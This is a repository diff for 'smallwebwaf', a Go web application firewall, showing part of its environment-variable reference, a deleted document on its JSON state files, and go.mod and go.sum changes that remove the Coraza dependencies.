- A netblock is an address and a prefix length, such as `10.0.0.0/8`. A bare
address stands for itself alone.
- A country is a two-letter code of ISO 3166-1, in either case: `de` and `DE`
are the same. `xk` stands for Kosovo. A code that is not a country is refused,
such as `nk` (North Korea is `kp`) or the withdrawn `su`.
- An AS number is `AS` and the number, in either case, such as `AS64496`.
- A percentage is a whole number from 0 to 100.
- A path prefix starts with `/`, such as `/assets/`.
## Core
- `SWWAF_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
`https` URL with a host and an optional port, and nothing more.
- `SWWAF_LISTEN_ADDR` (default `:8080`): where `smallwebwaf` listens: `:` and a
port, such as `:9000`. Leave the host out (see "Ports" in
[`SPEC.md`](../SPEC.md)).
- `SWWAF_INSTANCE_NAME` (default: the container's host name): the `instance`
name in every log line, alert and metric, such as `fsn1app1/gitea`. Valid
UTF-8. No control character while `SWWAF_ALERT_NTFY_URL` is set. 1 to 48
printable ASCII characters without a space while `SWWAF_LOG_REMOTE_URL` is set
and `SWWAF_LOG_REMOTE_APP_NAME` is not.
- `SWWAF_MODE` (default `enforce`): `enforce` or `observe`.
- `SWWAF_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`):
the netblocks whose `X-Forwarded-For` is believed. Set but empty, it trusts
nothing.
- `SWWAF_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6
client's group, from 32 to 128.
- `SWWAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
number above zero.
- `SWWAF_MAX_BANS` (default `5000`): how many of its own bans `smallwebwaf`
keeps, a whole number above zero.
## Tokens
- `SWWAF_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
`/_smallwebwaf/clients/<ip>`. At least 32 characters.
- `SWWAF_METRICS_TOKEN` (default unset): the token for `/_smallwebwaf/metrics`.
At least 32 characters.
## State files
- `SWWAF_STATE_DIR` (default `/var/lib/smallwebwaf`): the directory of the state
files, an absolute path that exists and can be written.
- `SWWAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
written after a ban is made, lifted or made permanent. A duration.
- `SWWAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
written. A duration.
## Logging
- `SWWAF_LOG_LEVEL` (default `info`): the least severe of `smallwebwaf`'s own
messages that are written: `debug`, `info`, `warn` or `error`.
- `SWWAF_LOG_REQUEST_HEADERS` (default
`accept,accept-language,accept-encoding,content-type,origin,range`): the
request headers recorded in the log line, in either case. `Host` and
`Transfer-Encoding` are refused; the host is the field `host`.
- `SWWAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
each with a host and a port and nothing more.
- `SWWAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
that a `syslog+tls` server's certificate must chain to, instead of the host's
own. A file that cannot be read, or holds no certificate, is refused.
- `SWWAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they
wait to be sent, a whole number above zero.
- `SWWAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
`authpriv`, `ftp`, or `local0` to `local7`.
- `SWWAF_LOG_REMOTE_APP_NAME` (default: `SWWAF_INSTANCE_NAME`): the app name in
each syslog record, 1 to 48 printable ASCII characters without a space.
## Metrics
- `SWWAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many
countries get series of their own. A whole number above zero.
## Static lists
- `SWWAF_ALLOW_NETS` (default empty): netblocks you trust, such as your
monitoring (see step 3 in [`SPEC.md`](../SPEC.md)).
- `SWWAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
exempt from rate limiting and the byte limits.
- `SWWAF_DENY_NETS` (default empty): netblocks whose clients are refused (see
step 3 in [`SPEC.md`](../SPEC.md)).
## Request rate limits, per client
- `SWWAF_RATE_LIMIT_PER_MINUTE` (default `1000`), `SWWAF_RATE_LIMIT_PER_HOUR`
(default `10000`) and `SWWAF_RATE_LIMIT_PER_DAY` (default `50000`): the most
requests a client may make in each window. A count or `off`.
- `SWWAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from
rate limiting and the byte limits, such as `/assets/`.
## Byte limits, per client
- `SWWAF_BYTES_LIMIT_PER_MINUTE` (default `10G`), `SWWAF_BYTES_LIMIT_PER_HOUR`
(default `20G`) and `SWWAF_BYTES_LIMIT_PER_DAY` (default `50G`): the most
bytes counted for a client in each window. A size or `off`.
- `SWWAF_BYTES_COUNT` (default `both`): which body bytes the byte limits count:
`response`, `request` or `both`.
## Size and time limits
- `SWWAF_CLIENT_REQUEST_TIMEOUT` (default `60s`): how long a client may take to
send its request line and headers, and then, from the end of the headers, its
body. A duration or `off`.
- `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` (default `32K`): the largest request
line and headers. A size over `4K`; never `off`.
- `SWWAF_CLIENT_IDLE_TIMEOUT` (default `120s`): how long a kept-open connection
may wait for its next request before it is closed. A duration or `off`.
- `SWWAF_CLIENT_RESPONSE_TIMEOUT` (default `30m`): how long the answer may take
to reach the client, from the end of the request to the last byte. A duration
or `off`.
- `SWWAF_UPSTREAM_REQUEST_TIMEOUT` (default `60s`): how long connecting to the
app and sending it the whole request may take. A duration or `off`.
- `SWWAF_UPSTREAM_RESPONSE_TIMEOUT` (default `30m`): how long the app may take
to send its whole answer. A duration or `off`.
- `SWWAF_REQUEST_MAX_BYTES` (default `100M`): the largest request body. A size
or `off`.
- `SWWAF_RESPONSE_MAX_BYTES` (default `5G`): the largest response body. A size
or `off`.
## Lookup of AS number and country
- `SWWAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
the start while a setting that needs a lookup is set:
- the two country lists;
- `SWWAF_ADD_LOOKUP_HEADERS`;
- the four biased threshold lists and `SWWAF_ASN_LIMIT_PERCENT_URL`;
- `SWWAF_UNKNOWN_LIMIT_PERCENT` below `100`;
- an anomaly threshold per AS number.
- `SWWAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
`.mmdb` form, for `SWWAF_LOOKUP_SOURCE=file`.
- `SWWAF_LOOKUP_TIMEOUT` (default `1s`): how long a request waits for its
client's first answer from GeoJS, and how long a request to GeoJS may take. A
duration; never `off`.
- `SWWAF_ADD_LOOKUP_HEADERS` (default `false`): `true` passes the app the
client's AS number in `X-Client-ASN` and its country in `X-Client-Country`.
## Country lists
- `SWWAF_DENIED_COUNTRIES` (default empty): countries whose clients are refused,
such as `cn,ru,kp`.
- `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
countries whose clients get through, such as `us,de`. A country on both lists
stops the start.
## Biased thresholds
- `SWWAF_ASN_LIMIT_PERCENT` (default empty): a list of AS numbers, each with `:`
and a percentage, such as `AS14061:50,AS16276:50,AS45102:25`. An AS number
listed twice is refused.
- `SWWAF_COUNTRY_LIMIT_PERCENT` (default empty): the same by country, such as
`cn:25,ru:50`.
- `SWWAF_ASN_BYTES_PERCENT` and `SWWAF_COUNTRY_BYTES_PERCENT` (default empty):
the same, for the byte limits alone.
- `SWWAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
lookup cannot place.
- `SWWAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
text file with one AS number and percentage on each line, such as
`AS64496:50`. A URL that is also in `SWWAF_BLOCKLIST_URLS` is refused.
## Attack detection
- `SWWAF_RULES_DIR` (default `/etc/smallwebwaf/rules.d`): the directory of the
rule files.
- `SWWAF_RULES_ENABLED` (default `true`): `false` reads no rule file.
- `SWWAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
- `SWWAF_WAF_MODE` (default `block`): `off`, `detect` or `block`.
- `SWWAF_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
from 1 to 4.
- `SWWAF_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
match. A whole number above zero, or `off`.
- `SWWAF_WAF_DISABLED_RULES` (default
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
to switch off. Each a whole number above zero. An id from 900000 to 900999 is
refused: those are the rules that set the Core Rule Set up, and
`smallwebwaf`'s own.
- `SWWAF_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
not inspect.
- `SWWAF_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body
the Core Rule Set reads, a size of at most `1G`.
- `SWWAF_ERROR_BURST_THRESHOLD` (default `30`): the most refusals of one client
in a minute for a rule match, a trap path, a Core Rule Set match or a failed
token check. A count or `off`.
## Ban lengths, response and scope
- `SWWAF_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
- `SWWAF_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
duration.
- `SWWAF_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
within which breaking a limit again lengthens the next ban. A duration.
- `SWWAF_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit;
one that would be longer is permanent. A duration.
- `SWWAF_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
attack. A duration.
- `SWWAF_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
covers: the prefix length of its netblock, from 0 to 32.
## Reputation
- `SWWAF_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
without a user or a fragment. A URL listed twice is refused.
- `SWWAF_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its
last try before it is fetched again. A duration of `1h` or more.
- `SWWAF_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
- `SWWAF_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
is refused, whatever its case or key.
- `SWWAF_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional
port, 53 when none is given. Unset, the host's resolver is used.
- `SWWAF_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
control character in it is refused.
- `SWWAF_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
from 0 to 100, that is a hit.
- `SWWAF_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day,
a whole number above zero. AbuseIPDB's free accounts may make 1,000.
- `SWWAF_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a
user or a fragment; its decision list is at `v1/decisions` under it. Set
without the key, it is refused. So is a decision list URL that is also in
`SWWAF_BLOCKLIST_URLS`, or that is `SWWAF_ASN_LIMIT_PERCENT_URL`.
- `SWWAF_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
URL, it is refused.
- `SWWAF_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
`log`, for DNS blocklist and AbuseIPDB hits.
- `SWWAF_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
AbuseIPDB's score is used. A duration.
- `SWWAF_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a
check with AbuseIPDB may take. A duration.
## Alerting
- `SWWAF_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each
alert as a JSON object. An `http` or `https` URL without a user or a fragment.
- `SWWAF_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post,
such as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and
value. A value cannot hold a comma.
- `SWWAF_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook
that receives each alert as a message, checked as the webhook URL is.
- `SWWAF_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each
alert, as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked
as the webhook URL is.
- `SWWAF_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
character in it is refused.
- `SWWAF_ALERT_EVENTS` (default
`ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error`):
the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
but `summary`. Any other name is refused.
- `SWWAF_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
repeats are held back. A duration or `off`.
- `SWWAF_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
whole number above zero, or `off`.
## Anomaly thresholds
Each scope has four thresholds: the most requests and the most bytes counted in
a minute and in an hour. Requests are counts, bytes are sizes. Each is `off` by
default. The four thresholds per client are:
- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
- `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
- `SWWAF_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
- `SWWAF_ANOMALY_CLIENT_BYTES_PER_HOUR`.
The other scopes' names have another prefix before the same four endings, such
as `REQUESTS_PER_MINUTE`:
- `SWWAF_ANOMALY_NET_...`: per netblock around a client. Two settings give the
netblock's length:
- `SWWAF_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
client;
- `SWWAF_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
client.
- `SWWAF_ANOMALY_ASN_...`: per AS number.
- `SWWAF_ANOMALY_TOTAL_...`: the whole service.
- `SWWAF_WATCH_...`: each netblock in `SWWAF_WATCH_NETS`, as a whole.
`SWWAF_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such
as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
name, or with a bad netblock, is refused. So is a name used twice.
## Settings given as files
To give a token as a file, as "Tokens" under "Deployment" in
[`SPEC.md`](../SPEC.md) describes, make the file on the host:
```sh
mkdir -p /srv/app/tokens
openssl rand -hex 32 > /srv/app/tokens/metrics
chown 65532:65532 /srv/app/tokens/metrics
chmod 0400 /srv/app/tokens/metrics
```
Then mount its directory into the container read-only, and name the file:
```sh
docker run \
-v /srv/app/tokens:/etc/smallwebwaf/tokens:ro \
-e SWWAF_METRICS_TOKEN_FILE=/etc/smallwebwaf/tokens/metrics \
...
```
## Fixed limits
A few limits are fixed rather than settings:
- at most 100,000 GeoJS answers are kept;
- at most 100,000 DNS blocklist verdicts and 100,000 AbuseIPDB scores are kept;
- at most 1,000 DNS blocklist queries are under way at once;
- at most 20,000 anomaly counters are kept;
- each alert destination's queue holds at most 1,000 alerts.
docs/state-files.md
-104
View File
@@ -1,104 +0,0 @@
# State files
The five JSON files in `SWWAF_STATE_DIR`, and what each holds. "Persistent
state" in [`SPEC.md`](../SPEC.md) says how they are written, read and edited.
Each has a top-level `version` of 1.
## `bans.json`
Active and past bans: every ban an admin made, and up to `SWWAF_MAX_BANS` of
those `smallwebwaf` made. Per entry:
- `netblock`, `start` and `expires` (`null` for a permanent ban);
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
- `reason`: a short reason;
- `lifted`: when an admin lifted it, if one did;
- `notes`: the notes below.
An entry an admin adds needs `netblock`, `start` and `expires`; `reason`,
`notes` and `cause` may be left out, and the cause is then `admin`:
```json
{
"version": 1,
"bans": [
{
"netblock": "203.0.113.0/24",
"start": "2026-10-06T12:00:00Z",
"expires": null,
"reason": "probes for logins"
}
]
}
```
"Bans" in [`SPEC.md`](../SPEC.md) says how an edit lifts, keeps or forgets a
ban. The notes:
- `asn`, `as_name` and `country`: the client's, added when the lookup answers
(empty when lookups are off);
- for a broken limit, `kind` (`requests`, `bytes` or `refusals`), `limit`,
`window` and `count`: what the limit was on, the limit, its window and the
count reached;
- `limit_percent` and `limit_percent_setting`: the client's percentage of that
limit and the setting that gave it, when a setting lowered it;
- for a clear sign of attack, `rule_id` and `target`, or `trap_path`;
- `reputation`: the sources the client was on, each with its `source` and, for
AbuseIPDB, its `score`;
- `request`: the request that caused the ban, each text cut to 256 bytes:
- `time`, `method` and `host`;
- `path`, with its query string;
- `status` and `user_agent`;
- `requests` and `refused`: the netblock's requests since it was first seen, and
how many this ban has refused so far, kept up to date while the ban lasts;
- `earlier_bans`: how many earlier bans the netblock had, by cause.
## `clients.json`
Per client, one per line: its minute, hour and day counters, and its history
since it was first seen:
- the first and last time seen;
- the AS number, AS name and country last looked up, and when;
- total requests, and how many were forwarded and how many refused;
- bytes in each direction;
- responses by status class;
- offences by kind: `limit`, `attack`, `rule_blocked`, `waf_blocked` and
`token_refused`.
## `lookups.json`
GeoJS answers, one per line:
- `client`;
- `asn`, `as_name` and `country`;
- `answered`: when GeoJS answered;
- `used`: when the answer was last used.
## `reputation.json`
- the last good copy of each list fetched from a URL, with when it was last
tried;
- each DNS blocklist verdict still in use;
- AbuseIPDB's scores, and the checks spent today.
## `alerts.json`
- the anomaly counters;
- the alert cooldowns: for each event and netblock, source, file or anomaly
scope, when it was last sent and the count of repeats held back since;
- the alerts sent and held back in the current hour;
- the alerts waiting for each destination.
## Sizes
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
`SWWAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
disk writes a day.
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
the default `SWWAF_MAX_BANS`. Written every 15 minutes, a full file comes to
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
more.
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
full.
- `reputation.json` and `alerts.json`: usually a few MiB or less.
go.mod
-19
View File
@@ -3,8 +3,6 @@ module sneak.berlin/go/smallwebwaf
go 1.26.0
require (
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
github.com/corazawaf/coraza/v3 v3.8.1
github.com/fsnotify/fsnotify v1.10.1
github.com/hashicorp/golang-lru/v2 v2.0.7
github.com/maxmind/mmdbwriter v1.2.0
@@ -15,29 +13,12 @@ require (
require (
github.com/beorn7/perks v1.0.1 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/corazawaf/libinjection-go v0.3.3 // indirect
github.com/goccy/go-json v0.10.5 // indirect
github.com/goccy/go-yaml v1.19.2 // indirect
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 // indirect
github.com/kaptinlin/go-i18n v0.1.4 // indirect
github.com/kaptinlin/jsonschema v0.4.6 // indirect
github.com/kylelemons/godebug v1.1.0 // indirect
github.com/magefile/mage v1.17.0 // indirect
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
github.com/prometheus/client_model v0.6.2 // indirect
github.com/prometheus/common v0.70.1 // indirect
github.com/prometheus/procfs v0.21.1 // indirect
github.com/tidwall/gjson v1.18.0 // indirect
github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.1 // indirect
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/net v0.58.0 // indirect
golang.org/x/sync v0.23.0 // indirect
golang.org/x/sys v0.48.0 // indirect
golang.org/x/text v0.41.0 // indirect
google.golang.org/protobuf v1.36.11 // indirect
rsc.io/binaryregexp v0.2.0 // indirect
)
go.sum
-55
View File
@@ -2,54 +2,22 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY=
github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o=
github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c=
github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc=
github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 h1:b70jEaX2iaJSPZULSUxKtm73LBfsCrMsIlYCUgNGSIs=
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976/go.mod h1:ZGQeOwybjD8lkCjIyJfqR5LD2wMVHJ31d6GdPxoTsWY=
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 h1:c7gcNWTSr1gtLp6PyYi3wzvFCEcHJ4YRobDgqmIgf7Q=
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092/go.mod h1:ZZAN4fkkful3l1lpJwF8JbW41ZiG9TwJ2ZlqzQovBNU=
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
github.com/jcchavezs/mergefs v0.1.1 h1:D45R17m6dHnSVZefnhynoeZvcK2Uw0oTrRfoUOQ0S5Y=
github.com/jcchavezs/mergefs v0.1.1/go.mod h1:eRLTrsA+vFwQZ48hj8p8gki/5v9C2bFtHH5Mnn4bcGk=
github.com/kaptinlin/go-i18n v0.1.4 h1:wCiwAn1LOcvymvWIVAM4m5dUAMiHunTdEubLDk4hTGs=
github.com/kaptinlin/go-i18n v0.1.4/go.mod h1:g1fn1GvTgT4CiLE8/fFE1hboHWJ6erivrDpiDtCcFKg=
github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPsI1T64=
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
github.com/magefile/mage v1.17.0/go.mod h1:Yj51kqllmsgFpvvSzgrZPK9WtluG3kUhFaBUVLo4feA=
github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM=
github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE=
github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U=
github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g=
github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 h1:Vpr4VgAizEgEZsaMohpw6JYDP+i9Of9dmdY4ufNP6HI=
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745/go.mod h1:EHPiTAKtiFmrMldLUNswFwfZ2eJIYBHktdaUTZxYWRw=
github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU=
github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE=
github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
@@ -60,15 +28,6 @@ github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/valllabh/ocsf-schema-golang v1.0.3 h1:eR8k/3jP/OOqB8LRCtdJ4U+vlgd/gk5y3KMXoodrsrw=
github.com/valllabh/ocsf-schema-golang v1.0.3/go.mod h1:sZ3as9xqm1SSK5feFWIR2CuGeGRhsM7TR1MbpBctzPk=
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
